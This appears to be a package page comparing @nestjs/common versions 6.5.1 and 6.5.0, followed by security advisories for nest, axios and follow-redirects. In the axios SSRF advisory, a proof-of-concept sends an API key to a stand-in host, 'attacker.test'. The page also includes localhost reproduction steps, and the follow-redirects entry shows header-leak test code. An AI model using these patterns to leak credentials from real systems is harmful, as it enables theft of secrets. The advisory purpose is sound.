NestJS developers will find @nestjs/common v6.5.1 a subtle update over v6.5.0, both integral to the core NestJS framework. The description and declared dependencies of both versions are the same, including uuid, axios, and cli-color, suggesting no functional changes impacting dependency management. Similarly, the peer dependencies (rxjs and reflect-metadata) remain constant, indicating no breaking changes in core reactive programming or metadata reflection compatibility.
The key distinction lies in the release date. Version 6.5.1 was published on July 10, 2019, a day after v6.5.0 (July 9, 2019). While seemingly insignificant, this difference likely signifies bug fixes or minor improvements implemented rapidly after v6.5.0's initial release. The file count and unpacked size of the packages are also identical, alluding these fix are probably related to some internal code adjustments. Developers employing @nestjs/common are encouraged to use the latest stable release to capitalize on any stability enhancements or critical patches introduced in v6.5.1. Upgrading from v6.5.0 should be straightforward with no expected breaking changes based on the data available. Always consult the official NestJS changelog for comprehensive details.
All the vulnerabilities related to the version 6.5.1 of the package
nest allows a remote attacker to execute arbitrary code via the Content-Type header
File Upload vulnerability in nestjs nest prior to v.11.0.16 allows a remote attacker to execute arbitrary code via the Content-Type header.
Axios vulnerable to Server-Side Request Forgery
Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
axios Inefficient Regular Expression Complexity vulnerability
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
baseURL
is set, passing an absolute URL such as http://attacker.test/
to get()
should not ignore baseURL
.baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL
.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
baseURL
and does not validate path parameters is affected by this issue.Exposure of sensitive information in follow-redirects
follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor
Exposure of Sensitive Information to an Unauthorized Actor in follow-redirects
Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8.
Follow Redirects improperly handles URLs in the url.parse() function
Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.
follow-redirects' Proxy-Authorization header kept across hosts
When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.
Test code:
const axios = require('axios');
axios.get('http://127.0.0.1:10081/', {
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
})
.then((response) => {
console.log(response);
})
When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.
This vulnerability may lead to credentials leak.
Remove proxy-authentication header during cross-domain redirect
- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);